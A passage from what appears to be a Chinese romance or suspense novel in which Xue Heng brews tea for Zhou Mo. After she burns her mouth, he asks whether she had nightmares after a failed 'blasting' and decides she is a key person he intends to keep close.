想想不对,刚在夜不离那就喝过他倒的茶。 热水沸腾了,薛衡用热水过滤一遍后,把水倒掉又淋入热水,周茉趴在桌子上看着薛衡的动作,他的眼神过于投入,仿佛刚刚的事不值一提,没什么大不了的,天大的事不如眼前的茶。 周茉想,如果将自己代入他的位置,她不一定能做到他这样。 茶泡好了,他对上了她的眼睛,“看什么这么出神?” “看你泡茶啊。”周茉脱口而出。 说完周茉有些后悔,总感觉这句话有些许暧昧,突然觉得身下的椅子怎么坐都有些膈屁股。 薛衡拿起茶壶,茶水稳稳倒入周茉面前的杯子,不时冒出丝丝白烟。他的话还没来得及说出口,周茉就拿起茶杯往嘴里送,“嘶”地一声,杯子被放回桌上,还洒出些茶来。 “别心急。” 不对劲,他的语气不似往常。 周茉睨眼看他起身去冰箱里取出一瓶饮用水,回来递给她,没等她拿过他又收了回去,将瓶盖拧开后,再重新递给她。 非常的不对劲,按往常他已经嘲讽她这种人就是没有喝热茶的命了。 难不成是受打击,人格都变了? 周茉一时间忘记了嘴里的疼痛,看他的眼神也变得怜悯起来。 他还在笑,“别看我了,喝点凉水缓缓。” 冰冰凉凉的水冲入口腔,周茉还没来得及咽下去,只听薛衡问她:“爆破失败那天晚上,你有没有做噩梦?” 爆破失败那天晚上?她想起来了,那天晚上他发烧了,她还在他床边陪了他一晚上。这么想起来,那一晚自己的睡眠质量无比好,比躺在床上的时候还好。 想完这些,周茉已经连将水都咽了下去,“没有啊。” 虽然只是一瞬间,她看到他的眼睛亮了起来。 她自己应该没发觉,那一晚参观爆破的人无一例外都做了噩梦,而现在他发现了,她就是那个例外。再结合张明扬对她的关心,和他或许知道些什么事,薛衡隐约预感周茉将会成为一个关键性人物。 而他,只要牢牢掌握住她就不算一无所有。